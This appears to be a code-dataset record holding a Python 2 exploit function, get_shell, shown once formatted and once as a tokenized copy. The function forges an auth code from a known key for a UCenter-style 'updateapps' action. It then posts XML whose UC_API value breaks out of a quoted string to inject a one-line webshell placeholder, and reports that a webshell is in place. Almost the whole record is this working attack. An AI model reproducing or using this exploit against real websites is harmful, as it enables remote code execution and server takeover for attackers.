(url, key, host)
return "webshell:"
发送命令获取webshell
def get_shell(url, key, host):

    '''

    发送命令获取webshell

    '''

    headers = {'Accept-Language': 'zh-cn',

               'Content-Type': 'application/x-www-form-urlencoded',

               'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

               'Referer': url

               }

    tm = time.time() + 10 * 3600

    tm = "time=%d&action=updateapps" % tm

    code = urllib.quote(get_authcode(tm, key))

    url = url + "?code=" + code

    data1 = '''<?xml version="1.0" encoding="ISO-8859-1"?>

            <root>

            <item id="UC_API">http://xxx\');一句话//</item>

            </root>'''

    try:

        req = urllib2.Request(url, data=data1, headers=headers)

        ret = urllib2.urlopen(req)

    except:

        return "访问出错"

    data2 = '''<?xml version="1.0" encoding="ISO-8859-1"?>

            <root>

            <item id="UC_API">http://aaa</item>

            </root>'''

    try:

        req = urllib2.Request(url, data=data2, headers=headers)

        ret = urllib2.urlopen(req)

    except:

        return "error"

    return "webshell:"
def get_shell ( url , key , host ) : headers = { 'Accept-Language' : 'zh-cn' , 'Content-Type' : 'application/x-www-form-urlencoded' , 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)' , 'Referer' : url } tm = time . time ( ) + 10 * 3600 tm = "time=%d&action=updateapps" % tm code = urllib . quote ( get_authcode ( tm , key ) ) url = url + "?code=" + code data1 = '''<?xml version="1.0" encoding="ISO-8859-1"?>

            <root>

            <item id="UC_API">http://xxx\');一句话//</item>

            </root>''' try : req = urllib2 . Request ( url , data = data1 , headers = headers ) ret = urllib2 . urlopen ( req ) except : return "访问出错" data2 = '''<?xml version="1.0" encoding="ISO-8859-1"?>

            <root>

            <item id="UC_API">http://aaa</item>

            </root>''' try : req = urllib2 . Request ( url , data = data2 , headers = headers ) ret = urllib2 . urlopen ( req ) except : return "error" return "webshell:"